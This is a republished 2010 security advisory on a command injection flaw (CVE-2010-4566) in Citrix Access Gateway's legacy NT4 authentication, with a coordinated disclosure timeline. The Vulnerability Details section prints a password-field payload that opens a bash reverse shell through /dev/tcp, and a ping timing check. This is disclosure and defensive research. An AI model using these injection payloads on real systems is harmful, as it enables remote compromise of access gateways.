Technical Advisory – Citrix Access Gateway Command Injection Vulnerability

 Virtual Security Research, LLC.
                  http://www.vsecurity.com/
                     Security Advisory

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Advisory Name: Citrix Access Gateway Command Injection Vulnerability
 Release Date: 2010-12-21
  Application: Citrix Access Gateway
     Versions: Access Gateway Enterprise Edition (up to 9.2-49.8)
	       Access Gateway Standard & Advanced Edition (prior to 5.0)
     Severity: High
       Author: George D. Gal  
Vendor Status: Updated Software Released, NT4 Authentication Removed [2]
CVE Candidate: CVE-2010-4566
    Reference: http://www.vsecurity.com/resources/advisory/20101221-1/

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Product Description
-------------------
From [1]:

 "Citrix(R) Access Gateway(TM) is a secure application access solution that 
  provides administrators granular application-level control while 
  empowering users with remote access from anywhere. It gives IT 
  administrators a single point to manage access control and limit actions 
  within sessions based on both user identity and the endpoint device, 
  providing better application security, data protection, and compliance 
  management."

Vulnerability Overview
----------------------

On August 2nd, VSR identified a vulnerability in Citrix Access Gateway within
the way user authentication credentials are handled.  Under certain 
configuration settings it appears that user credentials are passed as 
arguments to a command line program to authenticate the user. A lack of data 
validation and the mechanism in which the external program is spawned results
in the potential for command injection and arbitrary command execution on the
Access Gateway.

Vulnerability Details
---------------------

The Citrix Access Gateway provides support for multiple authentication types.
When utilizing the external legacy NTLM authentication module known as 
ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command 
line utility to verify a user's identity and password.  By embedding shell 
metacharacters in the web authentication form it is possible to execute 
arbitrary commands on the Access Gateway.

The following commands are executed by the ntlm_authenticator during this
process:

 vpnadmin 10130  0.0  0.0  2104  976 ?        S    15:02   0:00 sh -c /usr/local/samba/bin/samedit -c 'samuser username -a' -U <>%<> -p 139 -S xxx.xxx.xxx.xxx > /tmp/samedit-samuser-stdout.50474096 2> /dev/null

vpnadmin 10131  0.0  0.1  3852 1528 ?        S    15:02   0:00 /usr/local/samba/bin/samedit -c samuser username -a -U <>%XXXXXXXX -p 139 -S xxx.xxx.xxx.xxx

By submitting a password value as shown below, it is possible to establish a 
reverse shell to a netcat listener:

 | bash -i >& /dev/tcp/<>/<> 0>&1 &

Using a simple ping command in the password field an attacker could use timing
attacks to verify the presence of the vulnerability:

 | ping -c 10 <>

The ping command above will attempt to send 10 ICMP echo requests to the
target host, resulting in a noticable delay easily detected by vulnerability
scanners.

Versions Affected
-----------------
Testing was performed against a Citrix Access Gateway 2000 version 4.5.7.
According to the vendor this vulnerability affects all versions of Access 
Gateway Enterprise Edition up to version 9.2-49.8, and all versions of 
the Access Gateway Standard and Advanced Editions prior to Access Gateway
5.0.

Vendor Response
---------------
The following timeline details the vendor's response to the reported issue:

2010-08-06    Citrix was provided a draft advisory.
2010-08-10    Citrix acknowledged receipt of draft advisory.
2010-08-16    VSR follow-up to determine confirmation of issue.
2010-08-16    Citrix confirmed issue.
2010-09-14    VSR follow-up to determine status of issue.
2010-09-29    VSR follow-up to determine status of issue.
2010-09-30    Citrix confirmed continued investigation of the issue.
2010-10-19    VSR follow-up to determine status of issue.
2010-10-26    Citrix verified issue only exists in NT4 authentication feature.
2010-12-01    VSR follow-up to determine status of issue.
2010-12-02    Citrix confirmed December 14th release of security bulletin.
2010-12-14    Citrix releases security bulletin.
2010-12-20    CVE assigned
2010-12-21    VSR releases advisory.


The Citrix advisory may be obtained at:
  http://support.citrix.com/article/CTX127613

Recommendation
--------------
Citrix has indicated that this vulnerability only affects legacy NT4 
authentication which has been removed from the latest release of the 
device firmware.

Common Vulnerabilities and Exposures (CVE) Information
------------------------------------------------------
The Common Vulnerabilities and Exposures (CVE) project has assigned
the number CVE-2010-4566 to this issue.  This is a candidate for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.


Acknowledgements
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VSR would like to thank Citrix for the coordinated release of this advisory.

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References:

1. Citrix Access Gateway
   http://citrix.com/accessgateway/overview
2. Citrix Access Gateway - Vendor Security Bulletin
   http://support.citrix.com/article/CTX127613

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This advisory is distributed for educational purposes only with the sincere 
hope that it will help promote public safety.  This advisory comes with 
absolutely NO WARRANTY; not even the implied warranty of merchantability or 
fitness for a particular purpose.  Virtual Security Research, LLC nor the 
author accepts any liability for any direct, indirect, or consequential loss 
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See the VSR disclosure policy for more information on our responsible 
disclosure practices:

  http://www.vsecurity.com/company/disclosure

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     Copyright 2010 Virtual Security Research, LLC.  All rights reserved

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Editor’s note: This work was originally published by VSR on their website at https://www.vsecurity.com/resources/advisories.html. VSR is now a part of NCC Group, so we have migrated this content to research.nccgroup.com. The advisory text as above has been copy-pasted to this blog for historical reference.